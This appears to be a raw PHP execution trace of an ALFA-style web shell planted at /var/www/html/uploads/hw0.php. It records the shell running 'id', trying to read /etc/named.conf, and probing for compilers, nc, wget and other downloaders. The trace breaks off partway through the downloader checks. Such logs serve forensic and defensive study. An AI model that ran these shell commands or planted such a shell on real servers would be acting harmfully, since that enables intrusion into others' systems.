3		A						/var/www/html/uploads/hw0.php	1098	$s = 1
3		A						/var/www/html/uploads/hw0.php	1098	$s++
3		A						/var/www/html/uploads/hw0.php	1098	$s++
3		A						/var/www/html/uploads/hw0.php	1098	$s++
3		A						/var/www/html/uploads/hw0.php	1098	$s++
3		A						/var/www/html/uploads/hw0.php	1098	$s++
3		A						/var/www/html/uploads/hw0.php	1098	$s++
3		A						/var/www/html/uploads/hw0.php	1098	$s++
3		A						/var/www/html/uploads/hw0.php	1098	$s++
3		A						/var/www/html/uploads/hw0.php	1098	$s++
3		A						/var/www/html/uploads/hw0.php	1098	$s++
4	270	0	0.030030	2800584	phpversion	0		/var/www/html/uploads/hw0.php	1116	0
4	270	1	0.030042	2800648
4	270	R			'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
4	271	0	0.030061	2801096	date	0		/var/www/html/uploads/hw0.php	1124	1	'Y-m-d H:i:s'
4	271	1	0.030123	2803448
4	271	R			'2023-02-12 16:22:55'
4	272	0	0.030146	2801368	_alfa_file	1		/var/www/html/uploads/hw0.php	1130	2	'/etc/named.conf'	FALSE
5	273	0	0.030161	2801368	file	0		/var/www/html/uploads/hw0.php	2507	1	'/etc/named.conf'
5	273	1	0.030188	2801520
5	273	R			FALSE
4		A						/var/www/html/uploads/hw0.php	2507	$array = FALSE
5	274	0	0.030213	2801480	alfaEx	1		/var/www/html/uploads/hw0.php	2509	4	'id'	FALSE	FALSE	???
6	275	0	0.030228	2801480	_alfa_php_cmd	1		/var/www/html/uploads/hw0.php	744	2	'id'	FALSE
6		A						/var/www/html/uploads/hw0.php	758	$out = ''
7	276	0	0.030251	2801480	function_exists	0		/var/www/html/uploads/hw0.php	761	1	'exec'
7	276	1	0.030265	2801520
7	276	R			TRUE
7	277	0	0.030278	2801504	exec	0		/var/www/html/uploads/hw0.php	762	2	'id'	''
7	277	1	0.031629	2802104
7	277	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
7	278	0	0.031656	2801960	join	0		/var/www/html/uploads/hw0.php	763	2	'\n'	[0 => 'uid=33(www-data) gid=33(www-data) groups=33(www-data)']
7	278	1	0.031675	2802024
7	278	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
6		A						/var/www/html/uploads/hw0.php	763	$out = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
6	275	1	0.031705	2801560
6	275	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5		A						/var/www/html/uploads/hw0.php	744	$data = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5	274	1	0.031734	2801560
5	274	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5	279	0	0.031751	2801480	addslashes	0		/var/www/html/uploads/hw0.php	2510	1	'/etc/named.conf'
5	279	1	0.031765	2801512
5	279	R			'/etc/named.conf'
5	280	0	0.031780	2801528	alfaEx	1		/var/www/html/uploads/hw0.php	2510	4	'cat "/etc/named.conf"'	FALSE	FALSE	???
6	281	0	0.031795	2801528	_alfa_php_cmd	1		/var/www/html/uploads/hw0.php	744	2	'cat "/etc/named.conf"'	FALSE
6		A						/var/www/html/uploads/hw0.php	758	$out = ''
7	282	0	0.031827	2801528	function_exists	0		/var/www/html/uploads/hw0.php	761	1	'exec'
7	282	1	0.031840	2801568
7	282	R			TRUE
7	283	0	0.031854	2801552	exec	0		/var/www/html/uploads/hw0.php	762	2	'cat "/etc/named.conf"'	''
7	283	1	0.032946	2801672
7	283	R			''
7	284	0	0.032969	2801608	join	0		/var/www/html/uploads/hw0.php	763	2	'\n'	[]
7	284	1	0.032984	2801672
7	284	R			''
6		A						/var/www/html/uploads/hw0.php	763	$out = ''
6	281	1	0.033011	2801528
6	281	R			''
5		A						/var/www/html/uploads/hw0.php	744	$data = ''
5	280	1	0.033034	2801528
5	280	R			''
4		A						/var/www/html/uploads/hw0.php	2510	$data = ''
4	272	1	0.033058	2801480
4	272	R			FALSE
3		A						/var/www/html/uploads/hw0.php	1130	$d0mains = FALSE
3		A						/var/www/html/uploads/hw0.php	1131	GLOBALS['need_to_update_header'] = 'true'
4	285	0	0.033097	2801480	alfaSize	1		/var/www/html/uploads/hw0.php	1146	1	232015802368
5	286	0	0.033113	2801480	sprintf	0		/var/www/html/uploads/hw0.php	2411	2	'%1.2f'	216.08155441284
5	286	1	0.033129	2801864
5	286	R			'216.08'
4	285	1	0.033143	2801520
4	285	R			'216.08 GB'
4	287	0	0.033157	2801704	alfaSize	1		/var/www/html/uploads/hw0.php	1146	1	209226104832
5	288	0	0.033170	2801704	sprintf	0		/var/www/html/uploads/hw0.php	2411	2	'%1.2f'	194.85699462891
5	288	1	0.033185	2802088
5	288	R			'194.86'
4	287	1	0.033199	2801744
4	287	R			'194.86 GB'
3		A						/var/www/html/uploads/hw0.php	1149	$useful_downloader = '<tr><td height="18" colspan="2"><span class="header_vars">useful:</span><span class="header_values" id="header_useful">--------------</span></td></tr><td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" id="header_downloader">--------------</span></td></tr>'
4	289	0	0.033242	2801480	ini_get	0		/var/www/html/uploads/hw0.php	1150	1	'safe_mode'
4	289	1	0.033256	2801512
4	289	R			FALSE
4	290	0	0.033270	2801480	alfaEx	1		/var/www/html/uploads/hw0.php	1151	4	'id'	FALSE	FALSE	???
5	291	0	0.033284	2801480	_alfa_php_cmd	1		/var/www/html/uploads/hw0.php	744	2	'id'	FALSE
5		A						/var/www/html/uploads/hw0.php	758	$out = ''
6	292	0	0.033307	2801480	function_exists	0		/var/www/html/uploads/hw0.php	761	1	'exec'
6	292	1	0.033320	2801520
6	292	R			TRUE
6	293	0	0.033333	2801504	exec	0		/var/www/html/uploads/hw0.php	762	2	'id'	''
6	293	1	0.034632	2802104
6	293	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
6	294	0	0.034661	2801960	join	0		/var/www/html/uploads/hw0.php	763	2	'\n'	[0 => 'uid=33(www-data) gid=33(www-data) groups=33(www-data)']
6	294	1	0.034679	2802024
6	294	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5		A						/var/www/html/uploads/hw0.php	763	$out = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5	291	1	0.034710	2801560
5	291	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
4		A						/var/www/html/uploads/hw0.php	744	$data = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
4	290	1	0.034739	2801560
4	290	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
3		A						/var/www/html/uploads/hw0.php	1153	$userful = [0 => 'gcc', 1 => 'lcc', 2 => 'cc', 3 => 'ld', 4 => 'make', 5 => 'php', 6 => 'perl', 7 => 'python', 8 => 'ruby', 9 => 'tar', 10 => 'gzip', 11 => 'bzip', 12 => 'bzialfa2', 13 => 'nc', 14 => 'locate', 15 => 'suidperl']
3		A						/var/www/html/uploads/hw0.php	1154	$x = 0
4	295	0	0.034792	2801480	alfaWhich	1		/var/www/html/uploads/hw0.php	1155	1	'gcc'
5	296	0	0.034806	2801520	alfaEx	1		/var/www/html/uploads/hw0.php	2404	4	'which gcc'	FALSE	FALSE	???
6	297	0	0.034820	2801520	_alfa_php_cmd	1		/var/www/html/uploads/hw0.php	744	2	'which gcc'	FALSE
6		A						/var/www/html/uploads/hw0.php	758	$out = ''
7	298	0	0.034844	2801520	function_exists	0		/var/www/html/uploads/hw0.php	761	1	'exec'
7	298	1	0.034857	2801560
7	298	R			TRUE
7	299	0	0.034870	2801544	exec	0		/var/www/html/uploads/hw0.php	762	2	'which gcc'	''
7	299	1	0.035908	2802064
7	299	R			'/usr/bin/gcc'
7	300	0	0.035932	2801960	join	0		/var/www/html/uploads/hw0.php	763	2	'\n'	[0 => '/usr/bin/gcc']
7	300	1	0.035949	2802024
7	300	R			'/usr/bin/gcc'
6		A						/var/www/html/uploads/hw0.php	763	$out = '/usr/bin/gcc'
6	297	1	0.035977	2801560
6	297	R			'/usr/bin/gcc'
5		A						/var/www/html/uploads/hw0.php	744	$data = '/usr/bin/gcc'
5	296	1	0.036008	2801560
5	296	R			'/usr/bin/gcc'
4		A						/var/www/html/uploads/hw0.php	2404	$path = '/usr/bin/gcc'
4	295	1	0.036034	2801480
4	295	R			12
3		A						/var/www/html/uploads/hw0.php	1155	$x++
4	301	0	0.036058	2801480	alfaWhich	1		/var/www/html/uploads/hw0.php	1155	1	'lcc'
5	302	0	0.036072	2801520	alfaEx	1		/var/www/html/uploads/hw0.php	2404	4	'which lcc'	FALSE	FALSE	???
6	303	0	0.036085	2801520	_alfa_php_cmd	1		/var/www/html/uploads/hw0.php	744	2	'which lcc'	FALSE
6		A						/var/www/html/uploads/hw0.php	758	$out = ''
7	304	0	0.036110	2801520	function_exists	0		/var/www/html/uploads/hw0.php	761	1	'exec'
7	304	1	0.036124	2801560
7	304	R			TRUE
7	305	0	0.036137	2801544	exec	0		/var/www/html/uploads/hw0.php	762	2	'which lcc'	''
7	305	1	0.037132	2801664
7	305	R			''
7	306	0	0.037153	2801600	join	0		/var/www/html/uploads/hw0.php	763	2	'\n'	[]
7	306	1	0.037168	2801664
7	306	R			''
6		A						/var/www/html/uploads/hw0.php	763	$out = ''
6	303	1	0.037194	2801520
6	303	R			''
5		A						/var/www/html/uploads/hw0.php	744	$data = ''
5	302	1	0.037227	2801520
5	302	R			''
4		A						/var/www/html/uploads/hw0.php	2404	$path = ''
4	301	1	0.037250	2801480
4	301	R			FALSE
4	307	0	0.037264	2801480	alfaWhich	1		/var/www/html/uploads/hw0.php	1155	1	'cc'
5	308	0	0.037278	2801520	alfaEx	1		/var/www/html/uploads/hw0.php	2404	4	'which cc'	FALSE	FALSE	???
6	309	0	0.037292	2801520	_alfa_php_cmd	1		/var/www/html/uploads/hw0.php	744	2	'which cc'	FALSE
6		A						/var/www/html/uploads/hw0.php	758	$out = ''
7	310	0	0.037328	2801520	function_exists	0		/var/www/html/uploads/hw0.php	761	1	'exec'
7	310	1	0.037342	2801560
7	310	R			TRUE
7	311	0	0.037355	2801544	exec	0		/var/www/html/uploads/hw0.php	762	2	'which cc'	''
7	311	1	0.038603	2802064
7	311	R			'/usr/bin/cc'
7	312	0	0.038652	2801960	join	0		/var/www/html/uploads/hw0.php	763	2	'\n'	[0 => '/usr/bin/cc']
7	312	1	0.038678	2802024
7	312	R			'/usr/bin/cc'
6		A						/var/www/html/uploads/hw0.php	763	$out = '/usr/bin/cc'
6	309	1	0.038721	2801560
6	309	R			'/usr/bin/cc'
5		A						/var/www/html/uploads/hw0.php	744	$data = '/usr/bin/cc'
5	308	1	0.038760	2801560
5	308	R			'/usr/bin/cc'
4		A						/var/www/html/uploads/hw0.php	2404	$path = '/usr/bin/cc'
4	307	1	0.038798	2801480
4	307	R			11
3		A						/var/www/html/uploads/hw0.php	1155	$x++
4	313	0	0.038838	2801480	alfaWhich	1		/var/www/html/uploads/hw0.php	1155	1	'ld'
5	314	0	0.038857	2801520	alfaEx	1		/var/www/html/uploads/hw0.php	2404	4	'which ld'	FALSE	FALSE	???
6	315	0	0.038878	2801520	_alfa_php_cmd	1		/var/www/html/uploads/hw0.php	744	2	'which ld'	FALSE
6		A						/var/www/html/uploads/hw0.php	758	$out = ''
7	316	0	0.038915	2801520	function_exists	0		/var/www/html/uploads/hw0.php	761	1	'exec'
7	316	1	0.038937	2801560
7	316	R			TRUE
7	317	0	0.038957	2801544	exec	0		/var/www/html/uploads/hw0.php	762	2	'which ld'	''
7	317	1	0.040396	2802064
7	317	R			'/usr/bin/ld'
7	318	0	0.040434	2801960	join	0		/var/www/html/uploads/hw0.php	763	2	'\n'	[0 => '/usr/bin/ld']
7	318	1	0.040453	2802024
7	318	R			'/usr/bin/ld'
6		A						/var/www/html/uploads/hw0.php	763	$out = '/usr/bin/ld'
6	315	1	0.040481	2801560
6	315	R			'/usr/bin/ld'
5		A						/var/www/html/uploads/hw0.php	744	$data = '/usr/bin/ld'
5	314	1	0.040507	2801560
5	314	R			'/usr/bin/ld'
4		A						/var/www/html/uploads/hw0.php	2404	$path = '/usr/bin/ld'
4	313	1	0.040533	2801480
4	313	R			11
3		A						/var/www/html/uploads/hw0.php	1155	$x++
4	319	0	0.040560	2801480	alfaWhich	1		/var/www/html/uploads/hw0.php	1155	1	'make'
5	320	0	0.040574	2801520	alfaEx	1		/var/www/html/uploads/hw0.php	2404	4	'which make'	FALSE	FALSE	???
6	321	0	0.040588	2801520	_alfa_php_cmd	1		/var/www/html/uploads/hw0.php	744	2	'which make'	FALSE
6		A						/var/www/html/uploads/hw0.php	758	$out = ''
7	322	0	0.041486	2801520	function_exists	0		/var/www/html/uploads/hw0.php	761	1	'exec'
7	322	1	0.041507	2801560
7	322	R			TRUE
7	323	0	0.041521	2801544	exec	0		/var/www/html/uploads/hw0.php	762	2	'which make'	''
7	323	1	0.042838	2802064
7	323	R			'/usr/bin/make'
7	324	0	0.042863	2801960	join	0		/var/www/html/uploads/hw0.php	763	2	'\n'	[0 => '/usr/bin/make']
7	324	1	0.042881	2802024
7	324	R			'/usr/bin/make'
6		A						/var/www/html/uploads/hw0.php	763	$out = '/usr/bin/make'
6	321	1	0.042908	2801560
6	321	R			'/usr/bin/make'
5		A						/var/www/html/uploads/hw0.php	744	$data = '/usr/bin/make'
5	320	1	0.042934	2801560
5	320	R			'/usr/bin/make'
4		A						/var/www/html/uploads/hw0.php	2404	$path = '/usr/bin/make'
4	319	1	0.042958	2801480
4	319	R			13
3		A						/var/www/html/uploads/hw0.php	1155	$x++
4	325	0	0.042983	2801480	alfaWhich	1		/var/www/html/uploads/hw0.php	1155	1	'php'
5	326	0	0.042996	2801520	alfaEx	1		/var/www/html/uploads/hw0.php	2404	4	'which php'	FALSE	FALSE	???
6	327	0	0.043010	2801520	_alfa_php_cmd	1		/var/www/html/uploads/hw0.php	744	2	'which php'	FALSE
6		A						/var/www/html/uploads/hw0.php	758	$out = ''
7	328	0	0.043034	2801520	function_exists	0		/var/www/html/uploads/hw0.php	761	1	'exec'
7	328	1	0.043048	2801560
7	328	R			TRUE
7	329	0	0.043061	2801544	exec	0		/var/www/html/uploads/hw0.php	762	2	'which php'	''
7	329	1	0.044259	2802064
7	329	R			'/usr/bin/php'
7	330	0	0.044284	2801960	join	0		/var/www/html/uploads/hw0.php	763	2	'\n'	[0 => '/usr/bin/php']
7	330	1	0.044301	2802024
7	330	R			'/usr/bin/php'
6		A						/var/www/html/uploads/hw0.php	763	$out = '/usr/bin/php'
6	327	1	0.044327	2801560
6	327	R			'/usr/bin/php'
5		A						/var/www/html/uploads/hw0.php	744	$data = '/usr/bin/php'
5	326	1	0.044354	2801560
5	326	R			'/usr/bin/php'
4		A						/var/www/html/uploads/hw0.php	2404	$path = '/usr/bin/php'
4	325	1	0.044378	2801480
4	325	R			12
3		A						/var/www/html/uploads/hw0.php	1155	$x++
4	331	0	0.044402	2801480	alfaWhich	1		/var/www/html/uploads/hw0.php	1155	1	'perl'
5	332	0	0.044415	2801520	alfaEx	1		/var/www/html/uploads/hw0.php	2404	4	'which perl'	FALSE	FALSE	???
6	333	0	0.044430	2801520	_alfa_php_cmd	1		/var/www/html/uploads/hw0.php	744	2	'which perl'	FALSE
6		A						/var/www/html/uploads/hw0.php	758	$out = ''
7	334	0	0.044454	2801520	function_exists	0		/var/www/html/uploads/hw0.php	761	1	'exec'
7	334	1	0.044467	2801560
7	334	R			TRUE
7	335	0	0.044480	2801544	exec	0		/var/www/html/uploads/hw0.php	762	2	'which perl'	''
7	335	1	0.045704	2802064
7	335	R			'/usr/bin/perl'
7	336	0	0.045729	2801960	join	0		/var/www/html/uploads/hw0.php	763	2	'\n'	[0 => '/usr/bin/perl']
7	336	1	0.045745	2802024
7	336	R			'/usr/bin/perl'
6		A						/var/www/html/uploads/hw0.php	763	$out = '/usr/bin/perl'
6	333	1	0.045772	2801560
6	333	R			'/usr/bin/perl'
5		A						/var/www/html/uploads/hw0.php	744	$data = '/usr/bin/perl'
5	332	1	0.045798	2801560
5	332	R			'/usr/bin/perl'
4		A						/var/www/html/uploads/hw0.php	2404	$path = '/usr/bin/perl'
4	331	1	0.045823	2801480
4	331	R			13
3		A						/var/www/html/uploads/hw0.php	1155	$x++
4	337	0	0.045846	2801480	alfaWhich	1		/var/www/html/uploads/hw0.php	1155	1	'python'
5	338	0	0.045860	2801520	alfaEx	1		/var/www/html/uploads/hw0.php	2404	4	'which python'	FALSE	FALSE	???
6	339	0	0.045874	2801520	_alfa_php_cmd	1		/var/www/html/uploads/hw0.php	744	2	'which python'	FALSE
6		A						/var/www/html/uploads/hw0.php	758	$out = ''
7	340	0	0.045899	2801520	function_exists	0		/var/www/html/uploads/hw0.php	761	1	'exec'
7	340	1	0.045912	2801560
7	340	R			TRUE
7	341	0	0.045926	2801544	exec	0		/var/www/html/uploads/hw0.php	762	2	'which python'	''
7	341	1	0.047070	2801664
7	341	R			''
7	342	0	0.047091	2801600	join	0		/var/www/html/uploads/hw0.php	763	2	'\n'	[]
7	342	1	0.047104	2801664
7	342	R			''
6		A						/var/www/html/uploads/hw0.php	763	$out = ''
6	339	1	0.047132	2801520
6	339	R			''
5		A						/var/www/html/uploads/hw0.php	744	$data = ''
5	338	1	0.047155	2801520
5	338	R			''
4		A						/var/www/html/uploads/hw0.php	2404	$path = ''
4	337	1	0.047177	2801480
4	337	R			FALSE
4	343	0	0.047190	2801480	alfaWhich	1		/var/www/html/uploads/hw0.php	1155	1	'ruby'
5	344	0	0.047203	2801520	alfaEx	1		/var/www/html/uploads/hw0.php	2404	4	'which ruby'	FALSE	FALSE	???
6	345	0	0.047217	2801520	_alfa_php_cmd	1		/var/www/html/uploads/hw0.php	744	2	'which ruby'	FALSE
6		A						/var/www/html/uploads/hw0.php	758	$out = ''
7	346	0	0.047240	2801520	function_exists	0		/var/www/html/uploads/hw0.php	761	1	'exec'
7	346	1	0.047253	2801560
7	346	R			TRUE
7	347	0	0.047266	2801544	exec	0		/var/www/html/uploads/hw0.php	762	2	'which ruby'	''
7	347	1	0.048434	2801664
7	347	R			''
7	348	0	0.048453	2801600	join	0		/var/www/html/uploads/hw0.php	763	2	'\n'	[]
7	348	1	0.048467	2801664
7	348	R			''
6		A						/var/www/html/uploads/hw0.php	763	$out = ''
6	345	1	0.048490	2801520
6	345	R			''
5		A						/var/www/html/uploads/hw0.php	744	$data = ''
5	344	1	0.048512	2801520
5	344	R			''
4		A						/var/www/html/uploads/hw0.php	2404	$path = ''
4	343	1	0.048534	2801480
4	343	R			FALSE
4	349	0	0.048547	2801480	alfaWhich	1		/var/www/html/uploads/hw0.php	1155	1	'tar'
5	350	0	0.048559	2801520	alfaEx	1		/var/www/html/uploads/hw0.php	2404	4	'which tar'	FALSE	FALSE	???
6	351	0	0.048573	2801520	_alfa_php_cmd	1		/var/www/html/uploads/hw0.php	744	2	'which tar'	FALSE
6		A						/var/www/html/uploads/hw0.php	758	$out = ''
7	352	0	0.048596	2801520	function_exists	0		/var/www/html/uploads/hw0.php	761	1	'exec'
7	352	1	0.048609	2801560
7	352	R			TRUE
7	353	0	0.048621	2801544	exec	0		/var/www/html/uploads/hw0.php	762	2	'which tar'	''
7	353	1	0.052512	2802064
7	353	R			'/usr/bin/tar'
7	354	0	0.052547	2801960	join	0		/var/www/html/uploads/hw0.php	763	2	'\n'	[0 => '/usr/bin/tar']
7	354	1	0.052564	2802024
7	354	R			'/usr/bin/tar'
6		A						/var/www/html/uploads/hw0.php	763	$out = '/usr/bin/tar'
6	351	1	0.052593	2801560
6	351	R			'/usr/bin/tar'
5		A						/var/www/html/uploads/hw0.php	744	$data = '/usr/bin/tar'
5	350	1	0.052618	2801560
5	350	R			'/usr/bin/tar'
4		A						/var/www/html/uploads/hw0.php	2404	$path = '/usr/bin/tar'
4	349	1	0.052644	2801480
4	349	R			12
3		A						/var/www/html/uploads/hw0.php	1155	$x++
4	355	0	0.052670	2801480	alfaWhich	1		/var/www/html/uploads/hw0.php	1155	1	'gzip'
5	356	0	0.052684	2801520	alfaEx	1		/var/www/html/uploads/hw0.php	2404	4	'which gzip'	FALSE	FALSE	???
6	357	0	0.052698	2801520	_alfa_php_cmd	1		/var/www/html/uploads/hw0.php	744	2	'which gzip'	FALSE
6		A						/var/www/html/uploads/hw0.php	758	$out = ''
7	358	0	0.052722	2801520	function_exists	0		/var/www/html/uploads/hw0.php	761	1	'exec'
7	358	1	0.052736	2801560
7	358	R			TRUE
7	359	0	0.052749	2801544	exec	0		/var/www/html/uploads/hw0.php	762	2	'which gzip'	''
7	359	1	0.054729	2802064
7	359	R			'/usr/bin/gzip'
7	360	0	0.054771	2801960	join	0		/var/www/html/uploads/hw0.php	763	2	'\n'	[0 => '/usr/bin/gzip']
7	360	1	0.054789	2802024
7	360	R			'/usr/bin/gzip'
6		A						/var/www/html/uploads/hw0.php	763	$out = '/usr/bin/gzip'
6	357	1	0.054818	2801560
6	357	R			'/usr/bin/gzip'
5		A						/var/www/html/uploads/hw0.php	744	$data = '/usr/bin/gzip'
5	356	1	0.054845	2801560
5	356	R			'/usr/bin/gzip'
4		A						/var/www/html/uploads/hw0.php	2404	$path = '/usr/bin/gzip'
4	355	1	0.054870	2801480
4	355	R			13
3		A						/var/www/html/uploads/hw0.php	1155	$x++
4	361	0	0.054896	2801480	alfaWhich	1		/var/www/html/uploads/hw0.php	1155	1	'bzip'
5	362	0	0.054911	2801520	alfaEx	1		/var/www/html/uploads/hw0.php	2404	4	'which bzip'	FALSE	FALSE	???
6	363	0	0.054925	2801520	_alfa_php_cmd	1		/var/www/html/uploads/hw0.php	744	2	'which bzip'	FALSE
6		A						/var/www/html/uploads/hw0.php	758	$out = ''
7	364	0	0.054958	2801520	function_exists	0		/var/www/html/uploads/hw0.php	761	1	'exec'
7	364	1	0.054973	2801560
7	364	R			TRUE
7	365	0	0.054986	2801544	exec	0		/var/www/html/uploads/hw0.php	762	2	'which bzip'	''
7	365	1	0.056252	2801664
7	365	R			''
7	366	0	0.056278	2801600	join	0		/var/www/html/uploads/hw0.php	763	2	'\n'	[]
7	366	1	0.056293	2801664
7	366	R			''
6		A						/var/www/html/uploads/hw0.php	763	$out = ''
6	363	1	0.056318	2801520
6	363	R			''
5		A						/var/www/html/uploads/hw0.php	744	$data = ''
5	362	1	0.056342	2801520
5	362	R			''
4		A						/var/www/html/uploads/hw0.php	2404	$path = ''
4	361	1	0.056365	2801480
4	361	R			FALSE
4	367	0	0.056379	2801480	alfaWhich	1		/var/www/html/uploads/hw0.php	1155	1	'bzialfa2'
5	368	0	0.056394	2801520	alfaEx	1		/var/www/html/uploads/hw0.php	2404	4	'which bzialfa2'	FALSE	FALSE	???
6	369	0	0.056408	2801520	_alfa_php_cmd	1		/var/www/html/uploads/hw0.php	744	2	'which bzialfa2'	FALSE
6		A						/var/www/html/uploads/hw0.php	758	$out = ''
7	370	0	0.056431	2801520	function_exists	0		/var/www/html/uploads/hw0.php	761	1	'exec'
7	370	1	0.056445	2801560
7	370	R			TRUE
7	371	0	0.056458	2801544	exec	0		/var/www/html/uploads/hw0.php	762	2	'which bzialfa2'	''
7	371	1	0.057738	2801664
7	371	R			''
7	372	0	0.057762	2801600	join	0		/var/www/html/uploads/hw0.php	763	2	'\n'	[]
7	372	1	0.057777	2801664
7	372	R			''
6		A						/var/www/html/uploads/hw0.php	763	$out = ''
6	369	1	0.057802	2801520
6	369	R			''
5		A						/var/www/html/uploads/hw0.php	744	$data = ''
5	368	1	0.057826	2801520
5	368	R			''
4		A						/var/www/html/uploads/hw0.php	2404	$path = ''
4	367	1	0.057848	2801480
4	367	R			FALSE
4	373	0	0.057862	2801480	alfaWhich	1		/var/www/html/uploads/hw0.php	1155	1	'nc'
5	374	0	0.057875	2801520	alfaEx	1		/var/www/html/uploads/hw0.php	2404	4	'which nc'	FALSE	FALSE	???
6	375	0	0.057889	2801520	_alfa_php_cmd	1		/var/www/html/uploads/hw0.php	744	2	'which nc'	FALSE
6		A						/var/www/html/uploads/hw0.php	758	$out = ''
7	376	0	0.057912	2801520	function_exists	0		/var/www/html/uploads/hw0.php	761	1	'exec'
7	376	1	0.057925	2801560
7	376	R			TRUE
7	377	0	0.057938	2801544	exec	0		/var/www/html/uploads/hw0.php	762	2	'which nc'	''
7	377	1	0.059157	2802064
7	377	R			'/usr/bin/nc'
7	378	0	0.059182	2801960	join	0		/var/www/html/uploads/hw0.php	763	2	'\n'	[0 => '/usr/bin/nc']
7	378	1	0.059198	2802024
7	378	R			'/usr/bin/nc'
6		A						/var/www/html/uploads/hw0.php	763	$out = '/usr/bin/nc'
6	375	1	0.059225	2801560
6	375	R			'/usr/bin/nc'
5		A						/var/www/html/uploads/hw0.php	744	$data = '/usr/bin/nc'
5	374	1	0.059250	2801560
5	374	R			'/usr/bin/nc'
4		A						/var/www/html/uploads/hw0.php	2404	$path = '/usr/bin/nc'
4	373	1	0.059275	2801480
4	373	R			11
3		A						/var/www/html/uploads/hw0.php	1155	$x++
4	379	0	0.059299	2801480	alfaWhich	1		/var/www/html/uploads/hw0.php	1155	1	'locate'
5	380	0	0.059313	2801520	alfaEx	1		/var/www/html/uploads/hw0.php	2404	4	'which locate'	FALSE	FALSE	???
6	381	0	0.059327	2801520	_alfa_php_cmd	1		/var/www/html/uploads/hw0.php	744	2	'which locate'	FALSE
6		A						/var/www/html/uploads/hw0.php	758	$out = ''
7	382	0	0.059351	2801520	function_exists	0		/var/www/html/uploads/hw0.php	761	1	'exec'
7	382	1	0.059364	2801560
7	382	R			TRUE
7	383	0	0.059378	2801544	exec	0		/var/www/html/uploads/hw0.php	762	2	'which locate'	''
7	383	1	0.060539	2801664
7	383	R			''
7	384	0	0.060559	2801600	join	0		/var/www/html/uploads/hw0.php	763	2	'\n'	[]
7	384	1	0.060573	2801664
7	384	R			''
6		A						/var/www/html/uploads/hw0.php	763	$out = ''
6	381	1	0.060597	2801520
6	381	R			''
5		A						/var/www/html/uploads/hw0.php	744	$data = ''
5	380	1	0.060619	2801520
5	380	R			''
4		A						/var/www/html/uploads/hw0.php	2404	$path = ''
4	379	1	0.060647	2801480
4	379	R			FALSE
4	385	0	0.060660	2801480	alfaWhich	1		/var/www/html/uploads/hw0.php	1155	1	'suidperl'
5	386	0	0.060673	2801520	alfaEx	1		/var/www/html/uploads/hw0.php	2404	4	'which suidperl'	FALSE	FALSE	???
6	387	0	0.060688	2801520	_alfa_php_cmd	1		/var/www/html/uploads/hw0.php	744	2	'which suidperl'	FALSE
6		A						/var/www/html/uploads/hw0.php	758	$out = ''
7	388	0	0.060711	2801520	function_exists	0		/var/www/html/uploads/hw0.php	761	1	'exec'
7	388	1	0.060724	2801560
7	388	R			TRUE
7	389	0	0.060736	2801544	exec	0		/var/www/html/uploads/hw0.php	762	2	'which suidperl'	''
7	389	1	0.061963	2801664
7	389	R			''
7	390	0	0.061986	2801600	join	0		/var/www/html/uploads/hw0.php	763	2	'\n'	[]
7	390	1	0.062001	2801664
7	390	R			''
6		A						/var/www/html/uploads/hw0.php	763	$out = ''
6	387	1	0.062027	2801520
6	387	R			''
5		A						/var/www/html/uploads/hw0.php	744	$data = ''
5	386	1	0.062050	2801520
5	386	R			''
4		A						/var/www/html/uploads/hw0.php	2404	$path = ''
4	385	1	0.062073	2801480
4	385	R			FALSE
3		A						/var/www/html/uploads/hw0.php	1161	$downloaders = [0 => 'wget', 1 => 'fetch', 2 => 'lynx', 3 => 'links', 4 => 'curl', 5 => 'get', 6 => 'lwp-mirror']
3		A						/var/www/html/uploads/hw0.php	1162	$x = 0
4	391	0	0.062117	2801480	alfaWhich	1		/var/www/html/uploads/hw0.php	1163	1	'wget'
5	392	0	0.062130	2801520	alfaEx	1		/var/www/html/uploads/hw0.php	2404	4	'which wget'	FALSE	FALSE	???
6	393	0	0.062144	2801520	_alfa_php_cmd	1		/var/www/html/uploads/hw0.php	744	2	'which wget'	FALSE
6		A						/var/www/html/uploads/hw0.php	758	$out = ''
7	394	0	0.062167	2801520	function_exists	0		/var/www/html/uploads/hw0.php	761	1	'exec'
7	394	1	0.062181	2801560
7	394	R			TRUE
7	395	0	0.062194	2801544	exec	0		/var/www/html/uploads/hw0.php	762	2	'which wget'	''
7	395	1	0.063402	2802064
7	395	R			'/usr/bin/wget'
7	396	0	0.063426	2801960	join	0		/var/www/html/uploads/hw0.php	763	2	'\n'	[0 => '/usr/bin/wget']
7	396	1	0.063443	2802024
7	396	R			'/usr/bin/wget'
6		A						/var/www/html/uploads/hw0.php	763	$out = '/usr/bin/wget'
6	393	1	0.063470	2801560
6	393	R			'/usr/bin/wget'
5		A						/var/www/html/uploads/hw0.php	744	$data = '/usr/bin/wget'
5	392	1	0.063496	2801560
5	392	R			'/usr/bin/wget'
4		A						/var/www/html/uploads/hw0.php	2404	$path = '/usr/bin/wget'
4	391	1	0.063521	2801480
4	391	R			13
3		A						/var/www/html/uploads/hw0.php	1163	$x++
4	397	0	0.063544	2801480	alfaWhich	1		/var/www/html/uploads/hw0.php	1163	1	'fetch'
5	398	0	0.063558	2801520	alfaEx	1		/var/www/html/uploads/hw0.php	2404	4	'which fetch'	FALSE	FALSE	???
6	399	0	0.063571	2801520	_alfa_php_cmd	1		/var/www/html/uploads/hw0.php	744	2	'which fetch'	FALSE
6		A						/var/www/html/uploads/hw0.php	758	$out = ''
7	400	0	0.063596	2801520	function_exists	0		/var/www/html/uploads/hw0.php	761	1	'exec'
7	400	1	0.063609	2801560
7	400	R			TRUE
7	401	0	0.063622	2801544	exec	0		/var/www/html/uploads/hw0.php	762	2	'which fetch'	''
7	401	1	0.064813	2801664
7	401	R			''
7	402	0	0.064835	2801600	join	0		/var/www/html/uploads/hw0.php	763	2	'\n'	[]
7	402	1	0.064850	2801664
7	402	R			''
